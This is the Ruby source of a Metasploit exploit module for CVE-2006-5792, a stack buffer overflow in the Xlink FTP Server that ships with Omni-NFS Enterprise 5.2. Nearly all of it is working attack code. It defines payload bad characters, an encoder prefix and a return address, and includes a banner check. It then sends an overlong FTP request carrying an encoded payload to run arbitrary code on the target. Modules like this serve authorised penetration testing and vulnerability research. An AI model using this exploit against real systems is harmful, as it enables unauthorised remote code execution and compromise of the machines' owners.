Xlink FTP Server Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xlink FTP Server Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Xlink FTP Server
        that comes bundled with Omni-NFS Enterprise 5.2.
        When a overly long FTP request is sent to the server,
        arbitrary code may be executed.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-5792' ],
          [ 'OSVDB', '58646' ],
          [ 'URL', 'http://www.xlink.com' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 260,
          'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'StackAdjustment' => -3500,
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Omni-NFS Enterprise V5.2', { 'Ret' => 0x1001f09c } ], # OmniEOM.DLL 1.0.0.1
        ],
      'DisclosureDate' => '2009-10-03',
      'DefaultTarget'  => 0))

    deregister_options('FTPUSER', 'FTPPASS')
  end

  def check
    connect
    disconnect

    if (banner =~ /XLINK FTP Server/)
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit

    connect

    sploit =  payload.encoded + [target.ret].pack('V')
    sploit << rand_text_alpha_upper(2024 - payload.encoded.length) + "\r\n"

    print_status("Trying target #{target.name}...")
    sock.put(sploit)

    handler
    disconnect

  end
end